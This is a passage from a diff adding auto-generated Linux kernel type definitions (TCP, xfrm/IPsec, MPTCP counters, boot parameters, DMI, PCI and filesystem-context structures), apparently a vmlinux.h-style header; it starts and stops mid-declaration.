*hash; + struct udp_hslot *hash2; + unsigned int mask; + unsigned int log; +}; + +struct tcp_fastopen_context { + siphash_key_t key[2]; + int num; + struct callback_head rcu; +}; + +struct offload_callbacks { + struct sk_buff * (*gso_segment)(struct sk_buff *, netdev_features_t); + struct sk_buff * (*gro_receive)(struct list_head *, struct sk_buff *); + int (*gro_complete)(struct sk_buff *, int); +}; + +struct inet_connection_sock_af_ops { + int (*queue_xmit)(struct sock *, struct sk_buff *, struct flowi *); + void (*send_check)(struct sock *, struct sk_buff *); + int (*rebuild_header)(struct sock *); + void (*sk_rx_dst_set)(struct sock *, const struct sk_buff *); + int (*conn_request)(struct sock *, struct sk_buff *); + struct sock * (*syn_recv_sock)(const struct sock *, struct sk_buff *, struct request_sock *, struct dst_entry *, struct request_sock *, bool *); + u16 net_header_len; + u16 net_frag_header_len; + u16 sockaddr_len; + int (*setsockopt)(struct sock *, int, int, sockptr_t, unsigned int); + int (*getsockopt)(struct sock *, int, int, char *, int *); + void (*addr2sockaddr)(struct sock *, struct sockaddr *); + void (*mtu_reduced)(struct sock *); +}; + +struct tcphdr { + __be16 source; + __be16 dest; + __be32 seq; + __be32 ack_seq; + __u16 res1: 4; + __u16 doff: 4; + __u16 fin: 1; + __u16 syn: 1; + __u16 rst: 1; + __u16 psh: 1; + __u16 ack: 1; + __u16 urg: 1; + __u16 ece: 1; + __u16 cwr: 1; + __be16 window; + __sum16 check; + __be16 urg_ptr; +}; + +union tcp_word_hdr { + struct tcphdr hdr; + __be32 words[5]; +}; + +enum { + TCP_FLAG_CWR = 32768, + TCP_FLAG_ECE = 16384, + TCP_FLAG_URG = 8192, + TCP_FLAG_ACK = 4096, + TCP_FLAG_PSH = 2048, + TCP_FLAG_RST = 1024, + TCP_FLAG_SYN = 512, + TCP_FLAG_FIN = 256, + TCP_RESERVED_BITS = 15, + TCP_DATA_OFFSET = 240, +}; + +struct tcp_fastopen_cookie { + __le64 val[2]; + s8 len; + bool exp; +}; + +enum tcp_synack_type { + TCP_SYNACK_NORMAL = 0, + TCP_SYNACK_FASTOPEN = 1, + TCP_SYNACK_COOKIE = 2, +}; + +struct tcp_md5sig_key; + +struct tcp_request_sock_ops { + u16 mss_clamp; + struct tcp_md5sig_key * (*req_md5_lookup)(const struct sock *, const struct sock *); + int (*calc_md5_hash)(char *, const struct tcp_md5sig_key *, const struct sock *, const struct sk_buff *); + __u32 (*cookie_init_seq)(const struct sk_buff *, __u16 *); + struct dst_entry * (*route_req)(const struct sock *, struct sk_buff *, struct flowi *, struct request_sock *); + u32 (*init_seq)(const struct sk_buff *); + u32 (*init_ts_off)(const struct net *, const struct sk_buff *); + int (*send_synack)(const struct sock *, struct dst_entry *, struct flowi *, struct request_sock *, struct tcp_fastopen_cookie *, enum tcp_synack_type, struct sk_buff *); +}; + +union tcp_md5_addr { + struct in_addr a4; + struct in6_addr a6; +}; + +struct tcp_md5sig_key { + struct hlist_node node; + u8 keylen; + u8 family; + u8 prefixlen; + u8 flags; + union tcp_md5_addr addr; + int l3index; + u8 key[80]; + struct callback_head rcu; +}; + +struct udp_hslot { + struct hlist_head head; + int count; + spinlock_t lock; +}; + +struct napi_gro_cb { + void *frag0; + unsigned int frag0_len; + int data_offset; + u16 flush; + u16 flush_id; + u16 count; + u16 proto; + long unsigned int age; + union { + struct { + u16 gro_remcsum_start; + u8 same_flow: 1; + u8 encap_mark: 1; + u8 csum_valid: 1; + u8 csum_cnt: 3; + u8 free: 2; + u8 is_ipv6: 1; + u8 is_fou: 1; + u8 is_atomic: 1; + u8 recursion_counter: 4; + u8 is_flist: 1; + }; + struct { + u16 gro_remcsum_start; + u8 same_flow: 1; + u8 encap_mark: 1; + u8 csum_valid: 1; + u8 csum_cnt: 3; + u8 free: 2; + u8 is_ipv6: 1; + u8 is_fou: 1; + u8 is_atomic: 1; + u8 recursion_counter: 4; + u8 is_flist: 1; + } zeroed; + }; + __wsum csum; + struct sk_buff *last; +}; + +struct inet_ehash_bucket { + struct hlist_nulls_head chain; +}; + +struct inet_bind_hashbucket { + spinlock_t lock; + struct hlist_head chain; +}; + +struct inet_listen_hashbucket { + spinlock_t lock; + struct hlist_nulls_head nulls_head; +}; + +struct ack_sample { + u32 pkts_acked; + s32 rtt_us; + u32 in_flight; +}; + +struct rate_sample { + u64 prior_mstamp; + u32 prior_delivered; + u32 prior_delivered_ce; + s32 delivered; + s32 delivered_ce; + long int interval_us; + u32 snd_interval_us; + u32 rcv_interval_us; + long int rtt_us; + int losses; + u32 acked_sacked; + u32 prior_in_flight; + u32 last_end_seq; + bool is_app_limited; + bool is_retrans; + bool is_ack_delayed; +}; + +struct net_protocol { + int (*handler)(struct sk_buff *); + int (*err_handler)(struct sk_buff *, u32); + unsigned int no_policy: 1; + unsigned int icmp_strict_tag_validation: 1; +}; + +struct inet6_protocol { + int (*handler)(struct sk_buff *); + int (*err_handler)(struct sk_buff *, struct inet6_skb_parm *, u8, u8, int, __be32); + unsigned int flags; +}; + +struct net_offload { + struct offload_callbacks callbacks; + unsigned int flags; +}; + +struct udp_tunnel_info { + short unsigned int type; + sa_family_t sa_family; + __be16 port; + u8 hw_priv; +}; + +struct udp_tunnel_nic_shared { + struct udp_tunnel_nic *udp_tunnel_nic_info; + struct list_head devices; +}; + +struct udp_tunnel_nic_ops { + void (*get_port)(struct net_device *, unsigned int, unsigned int, struct udp_tunnel_info *); + void (*set_port_priv)(struct net_device *, unsigned int, unsigned int, u8); + void (*add_port)(struct net_device *, struct udp_tunnel_info *); + void (*del_port)(struct net_device *, struct udp_tunnel_info *); + void (*reset_ntf)(struct net_device *); + size_t (*dump_size)(struct net_device *, unsigned int); + int (*dump_write)(struct net_device *, unsigned int, struct sk_buff *); +}; + +struct rhash_lock_head; + +struct bucket_table { + unsigned int size; + unsigned int nest; + u32 hash_rnd; + struct list_head walkers; + struct callback_head rcu; + struct bucket_table *future_tbl; + struct lockdep_map dep_map; + long: 64; + long: 64; + long: 64; + long: 64; + struct rhash_lock_head *buckets[0]; +}; + +typedef union { + __be32 a4; + __be32 a6[4]; + struct in6_addr in6; +} xfrm_address_t; + +struct xfrm_id { + xfrm_address_t daddr; + __be32 spi; + __u8 proto; +}; + +struct xfrm_sec_ctx { + __u8 ctx_doi; + __u8 ctx_alg; + __u16 ctx_len; + __u32 ctx_sid; + char ctx_str[0]; +}; + +struct xfrm_selector { + xfrm_address_t daddr; + xfrm_address_t saddr; + __be16 dport; + __be16 dport_mask; + __be16 sport; + __be16 sport_mask; + __u16 family; + __u8 prefixlen_d; + __u8 prefixlen_s; + __u8 proto; + int ifindex; + __kernel_uid32_t user; +}; + +struct xfrm_lifetime_cfg { + __u64 soft_byte_limit; + __u64 hard_byte_limit; + __u64 soft_packet_limit; + __u64 hard_packet_limit; + __u64 soft_add_expires_seconds; + __u64 hard_add_expires_seconds; + __u64 soft_use_expires_seconds; + __u64 hard_use_expires_seconds; +}; + +struct xfrm_lifetime_cur { + __u64 bytes; + __u64 packets; + __u64 add_time; + __u64 use_time; +}; + +struct xfrm_replay_state { + __u32 oseq; + __u32 seq; + __u32 bitmap; +}; + +struct xfrm_replay_state_esn { + unsigned int bmp_len; + __u32 oseq; + __u32 seq; + __u32 oseq_hi; + __u32 seq_hi; + __u32 replay_window; + __u32 bmp[0]; +}; + +struct xfrm_algo { + char alg_name[64]; + unsigned int alg_key_len; + char alg_key[0]; +}; + +struct xfrm_algo_auth { + char alg_name[64]; + unsigned int alg_key_len; + unsigned int alg_trunc_len; + char alg_key[0]; +}; + +struct xfrm_algo_aead { + char alg_name[64]; + unsigned int alg_key_len; + unsigned int alg_icv_len; + char alg_key[0]; +}; + +struct xfrm_stats { + __u32 replay_window; + __u32 replay; + __u32 integrity_failed; +}; + +enum { + XFRM_POLICY_TYPE_MAIN = 0, + XFRM_POLICY_TYPE_SUB = 1, + XFRM_POLICY_TYPE_MAX = 2, + XFRM_POLICY_TYPE_ANY = 255, +}; + +enum { + XFRM_MSG_BASE = 16, + XFRM_MSG_NEWSA = 16, + XFRM_MSG_DELSA = 17, + XFRM_MSG_GETSA = 18, + XFRM_MSG_NEWPOLICY = 19, + XFRM_MSG_DELPOLICY = 20, + XFRM_MSG_GETPOLICY = 21, + XFRM_MSG_ALLOCSPI = 22, + XFRM_MSG_ACQUIRE = 23, + XFRM_MSG_EXPIRE = 24, + XFRM_MSG_UPDPOLICY = 25, + XFRM_MSG_UPDSA = 26, + XFRM_MSG_POLEXPIRE = 27, + XFRM_MSG_FLUSHSA = 28, + XFRM_MSG_FLUSHPOLICY = 29, + XFRM_MSG_NEWAE = 30, + XFRM_MSG_GETAE = 31, + XFRM_MSG_REPORT = 32, + XFRM_MSG_MIGRATE = 33, + XFRM_MSG_NEWSADINFO = 34, + XFRM_MSG_GETSADINFO = 35, + XFRM_MSG_NEWSPDINFO = 36, + XFRM_MSG_GETSPDINFO = 37, + XFRM_MSG_MAPPING = 38, + XFRM_MSG_SETDEFAULT = 39, + XFRM_MSG_GETDEFAULT = 40, + __XFRM_MSG_MAX = 41, +}; + +struct xfrm_encap_tmpl { + __u16 encap_type; + __be16 encap_sport; + __be16 encap_dport; + xfrm_address_t encap_oa; +}; + +enum xfrm_attr_type_t { + XFRMA_UNSPEC = 0, + XFRMA_ALG_AUTH = 1, + XFRMA_ALG_CRYPT = 2, + XFRMA_ALG_COMP = 3, + XFRMA_ENCAP = 4, + XFRMA_TMPL = 5, + XFRMA_SA = 6, + XFRMA_POLICY = 7, + XFRMA_SEC_CTX = 8, + XFRMA_LTIME_VAL = 9, + XFRMA_REPLAY_VAL = 10, + XFRMA_REPLAY_THRESH = 11, + XFRMA_ETIMER_THRESH = 12, + XFRMA_SRCADDR = 13, + XFRMA_COADDR = 14, + XFRMA_LASTUSED = 15, + XFRMA_POLICY_TYPE = 16, + XFRMA_MIGRATE = 17, + XFRMA_ALG_AEAD = 18, + XFRMA_KMADDRESS = 19, + XFRMA_ALG_AUTH_TRUNC = 20, + XFRMA_MARK = 21, + XFRMA_TFCPAD = 22, + XFRMA_REPLAY_ESN_VAL = 23, + XFRMA_SA_EXTRA_FLAGS = 24, + XFRMA_PROTO = 25, + XFRMA_ADDRESS_FILTER = 26, + XFRMA_PAD = 27, + XFRMA_OFFLOAD_DEV = 28, + XFRMA_SET_MARK = 29, + XFRMA_SET_MARK_MASK = 30, + XFRMA_IF_ID = 31, + XFRMA_MTIMER_THRESH = 32, + __XFRMA_MAX = 33, +}; + +struct xfrm_mark { + __u32 v; + __u32 m; +}; + +struct xfrm_address_filter { + xfrm_address_t saddr; + xfrm_address_t daddr; + __u16 family; + __u8 splen; + __u8 dplen; +}; + +enum { + SKB_FCLONE_UNAVAILABLE = 0, + SKB_FCLONE_ORIG = 1, + SKB_FCLONE_CLONE = 2, +}; + +struct sk_buff_fclones { + struct sk_buff skb1; + struct sk_buff skb2; + refcount_t fclone_ref; +}; + +struct __una_u32 { + u32 x; +}; + +struct rhash_lock_head {}; + +struct xfrm_state_walk { + struct list_head all; + u8 state; + u8 dying; + u8 proto; + u32 seq; + struct xfrm_address_filter *filter; +}; + +enum xfrm_replay_mode { + XFRM_REPLAY_MODE_LEGACY = 0, + XFRM_REPLAY_MODE_BMP = 1, + XFRM_REPLAY_MODE_ESN = 2, +}; + +struct xfrm_dev_offload { + struct net_device *dev; + netdevice_tracker dev_tracker; + struct net_device *real_dev; + long unsigned int offload_handle; + u8 dir: 2; + u8 type: 2; + u8 flags: 2; +}; + +struct xfrm_mode { + u8 encap; + u8 family; + u8 flags; +}; + +struct xfrm_type; + +struct xfrm_type_offload; + +struct xfrm_state { + possible_net_t xs_net; + union { + struct hlist_node gclist; + struct hlist_node bydst; + }; + struct hlist_node bysrc; + struct hlist_node byspi; + struct hlist_node byseq; + refcount_t refcnt; + spinlock_t lock; + struct xfrm_id id; + struct xfrm_selector sel; + struct xfrm_mark mark; + u32 if_id; + u32 tfcpad; + u32 genid; + struct xfrm_state_walk km; + struct { + u32 reqid; + u8 mode; + u8 replay_window; + u8 aalgo; + u8 ealgo; + u8 calgo; + u8 flags; + u16 family; + xfrm_address_t saddr; + int header_len; + int trailer_len; + u32 extra_flags; + struct xfrm_mark smark; + } props; + struct xfrm_lifetime_cfg lft; + struct xfrm_algo_auth *aalg; + struct xfrm_algo *ealg; + struct xfrm_algo *calg; + struct xfrm_algo_aead *aead; + const char *geniv; + __be16 new_mapping_sport; + u32 new_mapping; + u32 mapping_maxage; + struct xfrm_encap_tmpl *encap; + struct sock *encap_sk; + xfrm_address_t *coaddr; + struct xfrm_state *tunnel; + atomic_t tunnel_users; + struct xfrm_replay_state replay; + struct xfrm_replay_state_esn *replay_esn; + struct xfrm_replay_state preplay; + struct xfrm_replay_state_esn *preplay_esn; + enum xfrm_replay_mode repl_mode; + u32 xflags; + u32 replay_maxage; + u32 replay_maxdiff; + struct timer_list rtimer; + struct xfrm_stats stats; + struct xfrm_lifetime_cur curlft; + struct hrtimer mtimer; + struct xfrm_dev_offload xso; + long int saved_tmo; + time64_t lastused; + struct page_frag xfrag; + const struct xfrm_type *type; + struct xfrm_mode inner_mode; + struct xfrm_mode inner_mode_iaf; + struct xfrm_mode outer_mode; + const struct xfrm_type_offload *type_offload; + struct xfrm_sec_ctx *security; + void *data; +}; + +enum { + XFRM_LOOKUP_ICMP = 1, + XFRM_LOOKUP_QUEUE = 2, + XFRM_LOOKUP_KEEP_DST_REF = 4, +}; + +struct xfrm_policy_walk_entry { + struct list_head all; + u8 dead; +}; + +struct xfrm_policy_queue { + struct sk_buff_head hold_queue; + struct timer_list hold_timer; + long unsigned int timeout; +}; + +struct xfrm_tmpl { + struct xfrm_id id; + xfrm_address_t saddr; + short unsigned int encap_family; + u32 reqid; + u8 mode; + u8 share; + u8 optional; + u8 allalgs; + u32 aalgos; + u32 ealgos; + u32 calgos; +}; + +struct xfrm_policy { + possible_net_t xp_net; + struct hlist_node bydst; + struct hlist_node byidx; + rwlock_t lock; + refcount_t refcnt; + u32 pos; + struct timer_list timer; + atomic_t genid; + u32 priority; + u32 index; + u32 if_id; + struct xfrm_mark mark; + struct xfrm_selector selector; + struct xfrm_lifetime_cfg lft; + struct xfrm_lifetime_cur curlft; + struct xfrm_policy_walk_entry walk; + struct xfrm_policy_queue polq; + bool bydst_reinsert; + u8 type; + u8 action; + u8 flags; + u8 xfrm_nr; + u16 family; + struct xfrm_sec_ctx *security; + struct xfrm_tmpl xfrm_vec[6]; + struct hlist_node bydst_inexact_list; + struct callback_head rcu; + struct xfrm_dev_offload xdo; +}; + +struct ipv6_opt_hdr { + __u8 nexthdr; + __u8 hdrlen; +}; + +struct ipv6hdr { + __u8 priority: 4; + __u8 version: 4; + __u8 flow_lbl[3]; + __be16 payload_len; + __u8 nexthdr; + __u8 hop_limit; + union { + struct { + struct in6_addr saddr; + struct in6_addr daddr; + }; + struct { + struct in6_addr saddr; + struct in6_addr daddr; + } addrs; + }; +}; + +enum { + INET_ECN_NOT_ECT = 0, + INET_ECN_ECT_1 = 1, + INET_ECN_ECT_0 = 2, + INET_ECN_CE = 3, + INET_ECN_MASK = 3, +}; + +enum { + XFRM_DEV_OFFLOAD_UNSPECIFIED = 0, + XFRM_DEV_OFFLOAD_CRYPTO = 1, + XFRM_DEV_OFFLOAD_PACKET = 2, +}; + +struct xfrm_type { + struct module *owner; + u8 proto; + u8 flags; + int (*init_state)(struct xfrm_state *, struct netlink_ext_ack *); + void (*destructor)(struct xfrm_state *); + int (*input)(struct xfrm_state *, struct sk_buff *); + int (*output)(struct xfrm_state *, struct sk_buff *); + int (*reject)(struct xfrm_state *, struct sk_buff *, const struct flowi *); +}; + +struct xfrm_type_offload { + struct module *owner; + u8 proto; + void (*encap)(struct xfrm_state *, struct sk_buff *); + int (*input_tail)(struct xfrm_state *, struct sk_buff *); + int (*xmit)(struct xfrm_state *, struct sk_buff *, netdev_features_t); +}; + +enum { + XFRM_STATE_VOID = 0, + XFRM_STATE_ACQ = 1, + XFRM_STATE_VALID = 2, + XFRM_STATE_ERROR = 3, + XFRM_STATE_EXPIRED = 4, + XFRM_STATE_DEAD = 5, +}; + +struct xfrm_if_decode_session_result { + struct net *net; + u32 if_id; +}; + +struct xfrm_if_cb { + bool (*decode_session)(struct sk_buff *, short unsigned int, struct xfrm_if_decode_session_result *); +}; + +struct xfrm_dst; + +struct xfrm_policy_afinfo { + struct dst_ops *dst_ops; + struct dst_entry * (*dst_lookup)(struct net *, int, int, const xfrm_address_t *, const xfrm_address_t *, u32); + int (*get_saddr)(struct net *, int, xfrm_address_t *, xfrm_address_t *, u32); + int (*fill_dst)(struct xfrm_dst *, struct net_device *, const struct flowi *); + struct dst_entry * (*blackhole_route)(struct net *, struct dst_entry *); +}; + +struct xfrm_dst { + union { + struct dst_entry dst; + struct rtable rt; + struct rt6_info rt6; + } u; + struct dst_entry *route; + struct dst_entry *child; + struct dst_entry *path; + struct xfrm_policy *pols[2]; + int num_pols; + int num_xfrms; + u32 xfrm_genid; + u32 policy_genid; + u32 route_mtu_cached; + u32 child_mtu_cached; + u32 route_cookie; + u32 path_cookie; +}; + +struct xfrm_state_afinfo { + u8 family; + u8 proto; + const struct xfrm_type_offload *type_offload_esp; + const struct xfrm_type *type_esp; + const struct xfrm_type *type_ipip; + const struct xfrm_type *type_ipip6; + const struct xfrm_type *type_comp; + const struct xfrm_type *type_ah; + const struct xfrm_type *type_routing; + const struct xfrm_type *type_dstopts; + int (*output)(struct net *, struct sock *, struct sk_buff *); + int (*transport_finish)(struct sk_buff *, int); + void (*local_error)(struct sk_buff *, u32); +}; + +struct xfrm_policy_walk { + struct xfrm_policy_walk_entry walk; + u8 type; + u32 seq; +}; + +struct xfrm_offload { + struct { + __u32 low; + __u32 hi; + } seq; + __u32 flags; + __u32 status; + __u8 proto; + __u8 inner_ipproto; +}; + +struct sec_path { + int len; + int olen; + struct xfrm_state *xvec[6]; + struct xfrm_offload ovec[1]; +}; + +struct xfrmk_spdinfo { + u32 incnt; + u32 outcnt; + u32 fwdcnt; + u32 inscnt; + u32 outscnt; + u32 fwdscnt; + u32 spdhcnt; + u32 spdhmcnt; +}; + +struct metadata_dst; + +struct gre_base_hdr { + __be16 flags; + __be16 protocol; +}; + +struct ip6_mh { + __u8 ip6mh_proto; + __u8 ip6mh_hdrlen; + __u8 ip6mh_type; + __u8 ip6mh_reserved; + __u16 ip6mh_cksum; + __u8 data[0]; +}; + +struct xfrm_flo { + struct dst_entry *dst_orig; + u8 flags; +}; + +struct xfrm_pol_inexact_node { + struct rb_node node; + union { + xfrm_address_t addr; + struct callback_head rcu; + }; + u8 prefixlen; + struct rb_root root; + struct hlist_head hhead; +}; + +struct xfrm_pol_inexact_key { + possible_net_t net; + u32 if_id; + u16 family; + u8 dir; + u8 type; +}; + +struct xfrm_pol_inexact_bin { + struct xfrm_pol_inexact_key k; + struct rhash_head head; + struct hlist_head hhead; + seqcount_spinlock_t count; + struct rb_root root_d; + struct rb_root root_s; + struct list_head inexact_bins; + struct callback_head rcu; +}; + +enum xfrm_pol_inexact_candidate_type { + XFRM_POL_CAND_BOTH = 0, + XFRM_POL_CAND_SADDR = 1, + XFRM_POL_CAND_DADDR = 2, + XFRM_POL_CAND_ANY = 3, + XFRM_POL_CAND_MAX = 4, +}; + +struct xfrm_pol_inexact_candidates { + struct hlist_head *res[4]; +}; + +struct audit_buffer; + +struct netlbl_audit { + u32 secid; + kuid_t loginuid; + unsigned int sessionid; +}; + +struct vsock_tap { + struct net_device *dev; + struct module *module; + struct list_head list; +}; + +struct snmp_mib { + const char *name; + int entry; +}; + +struct mptcp_mib { + long unsigned int mibs[52]; +}; + +enum linux_mptcp_mib_field { + MPTCP_MIB_NUM = 0, + MPTCP_MIB_MPCAPABLEPASSIVE = 1, + MPTCP_MIB_MPCAPABLEACTIVE = 2, + MPTCP_MIB_MPCAPABLEACTIVEACK = 3, + MPTCP_MIB_MPCAPABLEPASSIVEACK = 4, + MPTCP_MIB_MPCAPABLEPASSIVEFALLBACK = 5, + MPTCP_MIB_MPCAPABLEACTIVEFALLBACK = 6, + MPTCP_MIB_TOKENFALLBACKINIT = 7, + MPTCP_MIB_RETRANSSEGS = 8, + MPTCP_MIB_JOINNOTOKEN = 9, + MPTCP_MIB_JOINSYNRX = 10, + MPTCP_MIB_JOINSYNACKRX = 11, + MPTCP_MIB_JOINSYNACKMAC = 12, + MPTCP_MIB_JOINACKRX = 13, + MPTCP_MIB_JOINACKMAC = 14, + MPTCP_MIB_DSSNOMATCH = 15, + MPTCP_MIB_INFINITEMAPTX = 16, + MPTCP_MIB_INFINITEMAPRX = 17, + MPTCP_MIB_DSSTCPMISMATCH = 18, + MPTCP_MIB_DATACSUMERR = 19, + MPTCP_MIB_OFOQUEUETAIL = 20, + MPTCP_MIB_OFOQUEUE = 21, + MPTCP_MIB_OFOMERGE = 22, + MPTCP_MIB_NODSSWINDOW = 23, + MPTCP_MIB_DUPDATA = 24, + MPTCP_MIB_ADDADDR = 25, + MPTCP_MIB_ECHOADD = 26, + MPTCP_MIB_PORTADD = 27, + MPTCP_MIB_ADDADDRDROP = 28, + MPTCP_MIB_JOINPORTSYNRX = 29, + MPTCP_MIB_JOINPORTSYNACKRX = 30, + MPTCP_MIB_JOINPORTACKRX = 31, + MPTCP_MIB_MISMATCHPORTSYNRX = 32, + MPTCP_MIB_MISMATCHPORTACKRX = 33, + MPTCP_MIB_RMADDR = 34, + MPTCP_MIB_RMADDRDROP = 35, + MPTCP_MIB_RMSUBFLOW = 36, + MPTCP_MIB_MPPRIOTX = 37, + MPTCP_MIB_MPPRIORX = 38, + MPTCP_MIB_MPFAILTX = 39, + MPTCP_MIB_MPFAILRX = 40, + MPTCP_MIB_MPFASTCLOSETX = 41, + MPTCP_MIB_MPFASTCLOSERX = 42, + MPTCP_MIB_MPRSTTX = 43, + MPTCP_MIB_MPRSTRX = 44, + MPTCP_MIB_RCVPRUNED = 45, + MPTCP_MIB_SUBFLOWSTALE = 46, + MPTCP_MIB_SUBFLOWRECOVER = 47, + MPTCP_MIB_SNDWNDSHARED = 48, + MPTCP_MIB_RCVWNDSHARED = 49, + MPTCP_MIB_RCVWNDCONFLICTUPDATE = 50, + MPTCP_MIB_RCVWNDCONFLICT = 51, + __MPTCP_MIB_MAX = 52, +}; + +typedef u8 uint8_t; + +typedef u16 uint16_t; + +typedef u64 uint64_t; + +struct setup_data { + __u64 next; + __u32 type; + __u32 len; + __u8 data[0]; +}; + +struct setup_header { + __u8 setup_sects; + __u16 root_flags; + __u32 syssize; + __u16 ram_size; + __u16 vid_mode; + __u16 root_dev; + __u16 boot_flag; + __u16 jump; + __u32 header; + __u16 version; + __u32 realmode_swtch; + __u16 start_sys_seg; + __u16 kernel_version; + __u8 type_of_loader; + __u8 loadflags; + __u16 setup_move_size; + __u32 code32_start; + __u32 ramdisk_image; + __u32 ramdisk_size; + __u32 bootsect_kludge; + __u16 heap_end_ptr; + __u8 ext_loader_ver; + __u8 ext_loader_type; + __u32 cmd_line_ptr; + __u32 initrd_addr_max; + __u32 kernel_alignment; + __u8 relocatable_kernel; + __u8 min_alignment; + __u16 xloadflags; + __u32 cmdline_size; + __u32 hardware_subarch; + __u64 hardware_subarch_data; + __u32 payload_offset; + __u32 payload_length; + __u64 setup_data; + __u64 pref_address; + __u32 init_size; + __u32 handover_offset; + __u32 kernel_info_offset; +} __attribute__((packed)); + +struct sys_desc_table { + __u16 length; + __u8 table[14]; +}; + +struct olpc_ofw_header { + __u32 ofw_magic; + __u32 ofw_version; + __u32 cif_handler; + __u32 irq_desc_table; +}; + +struct efi_info { + __u32 efi_loader_signature; + __u32 efi_systab; + __u32 efi_memdesc_size; + __u32 efi_memdesc_version; + __u32 efi_memmap; + __u32 efi_memmap_size; + __u32 efi_systab_hi; + __u32 efi_memmap_hi; +}; + +struct boot_e820_entry { + __u64 addr; + __u64 size; + __u32 type; +} __attribute__((packed)); + +struct boot_params { + struct screen_info screen_info; + struct apm_bios_info apm_bios_info; + __u8 _pad2[4]; + __u64 tboot_addr; + struct ist_info ist_info; + __u64 acpi_rsdp_addr; + __u8 _pad3[8]; + __u8 hd0_info[16]; + __u8 hd1_info[16]; + struct sys_desc_table sys_desc_table; + struct olpc_ofw_header olpc_ofw_header; + __u32 ext_ramdisk_image; + __u32 ext_ramdisk_size; + __u32 ext_cmd_line_ptr; + __u8 _pad4[112]; + __u32 cc_blob_address; + struct edid_info edid_info; + struct efi_info efi_info; + __u32 alt_mem_k; + __u32 scratch; + __u8 e820_entries; + __u8 eddbuf_entries; + __u8 edd_mbr_sig_buf_entries; + __u8 kbd_status; + __u8 secure_boot; + __u8 _pad5[2]; + __u8 sentinel; + __u8 _pad6[1]; + struct setup_header hdr; + __u8 _pad7[36]; + __u32 edd_mbr_sig_buffer[16]; + struct boot_e820_entry e820_table[128]; + __u8 _pad8[48]; + struct edd_info eddbuf[6]; + __u8 _pad9[276]; +} __attribute__((packed)); + +enum dmi_field { + DMI_NONE = 0, + DMI_BIOS_VENDOR = 1, + DMI_BIOS_VERSION = 2, + DMI_BIOS_DATE = 3, + DMI_BIOS_RELEASE = 4, + DMI_EC_FIRMWARE_RELEASE = 5, + DMI_SYS_VENDOR = 6, + DMI_PRODUCT_NAME = 7, + DMI_PRODUCT_VERSION = 8, + DMI_PRODUCT_SERIAL = 9, + DMI_PRODUCT_UUID = 10, + DMI_PRODUCT_SKU = 11, + DMI_PRODUCT_FAMILY = 12, + DMI_BOARD_VENDOR = 13, + DMI_BOARD_NAME = 14, + DMI_BOARD_VERSION = 15, + DMI_BOARD_SERIAL = 16, + DMI_BOARD_ASSET_TAG = 17, + DMI_CHASSIS_VENDOR = 18, + DMI_CHASSIS_TYPE = 19, + DMI_CHASSIS_VERSION = 20, + DMI_CHASSIS_SERIAL = 21, + DMI_CHASSIS_ASSET_TAG = 22, + DMI_STRING_MAX = 23, + DMI_OEM_STRING = 24, +}; + +struct dmi_strmatch { + unsigned char slot: 7; + unsigned char exact_match: 1; + char substr[79]; +}; + +struct dmi_system_id { + int (*callback)(const struct dmi_system_id *); + const char *ident; + struct dmi_strmatch matches[4]; + void *driver_data; +}; + +enum { + MEMREMAP_WB = 1, + MEMREMAP_WT = 2, + MEMREMAP_WC = 4, + MEMREMAP_ENC = 8, + MEMREMAP_DEC = 16, +}; + +enum { + PCI_REASSIGN_ALL_RSRC = 1, + PCI_REASSIGN_ALL_BUS = 2, + PCI_PROBE_ONLY = 4, + PCI_CAN_SKIP_ISA_ALIGN = 8, + PCI_ENABLE_PROC_DOMAINS = 16, + PCI_COMPAT_DOMAIN_0 = 32, + PCI_SCAN_ALL_PCIE_DEVS = 64, +}; + +struct pci_setup_rom { + struct setup_data data; + uint16_t vendor; + uint16_t devid; + uint64_t pcilen; + long unsigned int segment; + long unsigned int bus; + long unsigned int device; + long unsigned int function; + uint8_t romdata[0]; +}; + +struct dmi_header { + u8 type; + u8 length; + u16 handle; +}; + +enum pci_bf_sort_state { + pci_bf_sort_default = 0, + pci_force_nobf = 1, + pci_force_bf = 2, + pci_dmi_bf = 3, +}; + +struct pci_raw_ops { + int (*read)(unsigned int, unsigned int, unsigned int, int, int, u32 *); + int (*write)(unsigned int, unsigned int, unsigned int, int, int, u32); +}; + +struct irq_desc; + +typedef struct irq_desc *vector_irq_t___2[256]; + +typedef struct { + long unsigned int key[2]; +} hsiphash_key_t; + +typedef int (*initcall_t)(); + +struct task_delay_info { + raw_spinlock_t lock; + u64 blkio_start; + u64 blkio_delay; + u64 swapin_start; + u64 swapin_delay; + u32 blkio_count; + u32 swapin_count; + u64 freepages_start; + u64 freepages_delay; + u64 thrashing_start; + u64 thrashing_delay; + u64 compact_start; + u64 compact_delay; + u64 wpcopy_start; + u64 wpcopy_delay; + u64 irq_delay; + u32 freepages_count; + u32 thrashing_count; + u32 compact_count; + u32 wpcopy_count; + u32 irq_count; +}; + +struct fc_log; + +struct p_log { + const char *prefix; + struct fc_log *log; +}; + +enum fs_context_purpose { + FS_CONTEXT_FOR_MOUNT = 0, + FS_CONTEXT_FOR_SUBMOUNT = 1, + FS_CONTEXT_FOR_RECONFIGURE = 2, +}; + +enum fs_context_phase { + FS_CONTEXT_CREATE_PARAMS = 0, + FS_CONTEXT_CREATING = 1, + FS_CONTEXT_AWAITING_MOUNT = 2, + FS_CONTEXT_AWAITING_RECONF = 3, + FS_CONTEXT_RECONF_PARAMS = 4, + FS_CONTEXT_RECONFIGURING = 5, + FS_CONTEXT_FAILED = 6, +}; + +struct fs_context_operations; + +struct fs_context { + const struct fs_context_operations *ops; + struct mutex uapi_mutex; + struct file_system_type *fs_type; + void *fs_private; + void *sget_key; + struct dentry *root; + struct user_namespace *user_ns; + struct net *net_ns; + const struct cred *cred; + struct p_log log; + const char *source; + void *security; + void *s_fs_info; + unsigned int sb_flags; + unsigned int sb_flags_mask; + unsigned int s_iflags; + enum fs_context_purpose purpose: 8; + enum fs_context_phase phase: 8; + bool need_free: 1; + bool global: 1; + bool oldapi: 1; +}; + +struct audit_names; + +struct filename { + const char *name; + const char *uptr; + int refcnt; + struct audit_names *aname; + const char iname[0]; +}; + +struct xbc_node { + uint16_t next; + uint16_t child; + uint16_t parent; + uint16_t data; +}; + +enum fs_value_type { + fs_value_is_undefined = 0, + fs_value_is_flag = 1, + fs_value_is_string = 2, + fs_value_is_blob = 3, + fs_value_is_filename = 4, + fs_value_is_file = 5, +}; + +struct fs_parameter { + const char *key; + enum fs_value_type type: 8; + union { + char *string; + void *blob; + struct filename *name; + struct file *file; + }; + size_t size; + int dirfd; +}; + +struct fc_log { + refcount_t usage; + u8 head; + u8 tail; + u8 need_free; + struct module *owner; + char *buffer[8]; +}; + +struct fs_context_operations { + void 